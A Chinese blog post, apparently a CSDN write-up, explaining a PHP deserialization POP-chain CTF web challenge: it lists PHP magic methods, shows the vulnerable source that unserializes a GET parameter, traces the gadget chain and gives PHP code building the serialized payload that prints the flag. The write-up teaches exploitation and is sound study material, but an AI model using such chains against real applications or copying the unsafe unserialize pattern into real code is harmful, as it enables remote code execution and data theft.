CTF里WEB题中的POP链

在解释源代码之前,我们需要先了解一下这个php的魔术方法

  1. __construct(),类的构造函数

  2. __destruct(),类的析构函数

  3. __call(),在对象中调用一个不可访问方法时调用

  4. __callStatic(),用静态方式中调用一个不可访问方法时调用

  5. __get(),获得一个类的成员变量时调用

  6. __set(),设置一个类的成员变量时调用

  7. __isset(),当对不可访问属性调用isset()或empty()时调用

  8. __unset(),当对不可访问属性调用unset()时被调用。

  9. __sleep(),执行serialize()时,先会调用这个函数

  10. __wakeup(),执行unserialize()时,先会调用这个函数

  11. __toString(),类被当成字符串时的回应方法

  12. __invoke(),调用函数的方式调用一个对象时的回应方法

  13. __set_state(),调用var_export()导出类时,此静态方法会被调用。

  14. __clone(),当对象复制完成时调用

  15. __autoload(),尝试加载未定义的类

  16. __debugInfo(),打印所需调试信息

然后再来看源代码

<?php
include("./xxxiscc.php");
class boy {
public $like;
public function __destruct() {
 echo "能请你喝杯奶茶吗?<br>";
 @$this->like->make_friends();
}
public function __toString() {
 echo "拱火大法好<br>";
 return $this->like->string;
}
}
​
class girl {
private $boyname;
public function __call($func, $args) {
 echo "我害羞羞<br>";
 isset($this->boyname->name); 
}
}
​
class helper {
private $name;
private $string;
public function __construct($string) {
 $this->string = $string;
}
public function __isset($val) {
 echo "僚机上线<br>";
 echo $this->name;
}
public function __get($name) {
 echo "僚机不懈努力<br>";
 $var = $this->$name;
 $var[$name]();
}
}
class love_story {
public function love() {
 echo "爱情萌芽<br>";
 array_walk($this, function($make, $colo){
   echo "坠入爱河,给你爱的密码<br>";
   if ($make[0] === "girl_and_boy" && $colo === "fall_in_love") {
     global $flag;
     echo $flag;
   }
 });
}
}
​
if (isset($_GET["iscc"])) {
$a=unserialize($_GET['iscc']);
} else {
highlight_file(__FILE__);
}

当这个php代码开始走的时候,先是__destruct()魔术方法被触发,然后echo出句子,当进行到

$this->like->make_friends(); 发现它调用了一个make_friends方法,但是这个方法不存在,所以触发call()魔术方法,在call()中,echo出句子后,进行isset($this->boyname->name);会发现其触发了__isset()魔术方法

因为我们可以从代码里看到这俩个属性都是私有的,不可访问。

那么我们继续走,当进行isset()魔术方法时,echo出它的句子,然后发现其echo $this->name;发现name前没加$,意思为name被当成字符串,所以会发现其触发__toString()魔术方法

echo出句子,然后进行return $this->like->string;

image-20230514203808378

string是类helper里的成员变量。所以触发了__get()魔术方法。echo出句子后

$var = $this->$name; $var 【$name](); 从当前对象实例中获取一个变量,使用$name变量中指定的变量名称。然后,它尝试调用检索到的变量上的方法,使用相同的$name值作为方法名。(还是有点不太清楚)然后就是往下走类。

满足$colo强等于"fall_in_love",且数组[0]="girl_and_boy";

所以就可以构建出一个链表并以此来写出PHP代码

class boy{
 public $like;
}
class girl{
 public $boyname;
}
class helper{
 public $name;
 public $string;
 public function __construct(){
     $this->string=array("string"=>array(new love_story(),"love"));
 }//这是一个公共函数构造器(__construct),它需要一个字符串作为参数。在函数内部,将传入的字符串赋值给类的属性 $this->string。其中包含一个名为 "string" 的属性,它是一个数组,该数组包含了一个新的 love_story 对象和一个字符串 "love"
}
class love_story{
 public $fall_in_love=array(0=>'girl_and_boy');
}

上半部分就是将类进行书写。以及满足love_story类中的条件。

$b1 = new boy();
$b = new boy();
$g = new girl();
$h1 = new helper();
$h = new helper();
$l = new love_story();
$h->string=array("string"=>array(new love_story(),"love"));
$b->like=$h;
$h1->name=$b;
$g->boyname=$h1;
$b1->like=$g;
echo serialize($b1);

下半函数就是我们的链表,也就是上面我所说的按照那个顺序一步一步走,最后到达

$h->string=array("string"=>array(new love_story(),"love")); 然后get传参iscc=序列化后的结果,得到线索

从这些被echo的句子也能看出链表。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值